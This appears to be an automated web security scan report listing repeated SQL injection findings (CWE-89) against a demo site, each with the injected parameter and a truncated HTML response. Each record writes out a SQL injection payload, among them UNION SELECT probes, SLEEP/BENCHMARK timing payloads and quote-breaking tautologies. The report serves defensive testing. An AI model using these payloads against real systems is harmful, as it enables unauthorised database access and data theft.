Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 28
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1029Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1030
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)+
CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1031
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1032
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io/*…*/
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1033
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ")) or (("x"))=(("x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1034
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 21#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1035
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioadmin" --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1036
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ' UNION SELECT sum(columnname ) from tablename
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1037
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1038
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A'))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1039
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1040Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ')) or (('x'))=(('x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1041
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1042
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'&'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1043
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 7--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
